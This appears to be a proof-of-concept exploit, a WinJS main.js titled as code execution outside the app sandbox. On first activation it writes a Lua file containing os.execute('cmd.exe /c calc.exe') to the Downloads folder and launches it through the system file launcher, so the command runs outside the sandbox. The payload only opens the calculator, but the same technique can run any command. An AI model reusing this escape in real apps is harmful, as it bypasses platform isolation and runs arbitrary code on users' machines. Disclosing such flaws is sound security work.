WinJS code execution outside app sandbox

main.js

(function () {
	var app = WinJS.Application;
	var activation = Windows.ApplicationModel.Activation;
	var isFirstActivation = true;

	app.onactivated = function (args) {

		if (isFirstActivation) {
            // execute system command via lua
            Windows.Storage.DownloadsFolder.createFileAsync("escape.lua").then(function (file) {
                sampleFile = file;
                Windows.Storage.FileIO.writeTextAsync(sampleFile, "os.execute('cmd.exe /c calc.exe')").then(function () {
                    sampleFile2 = sampleFile;
                    Windows.System.Launcher.launchFileAsync(sampleFile2).then(function (suc) {
                        if (suc) {
                            Windows.UI.Popups.MessageDialog("File opened :)").showAsync().then();
                        } else {
                            Windows.UI.Popups.MessageDialog("File not opened :(").showAsync().then();
                        }
                    });
                });
            });

		}
    };

	app.start();

})();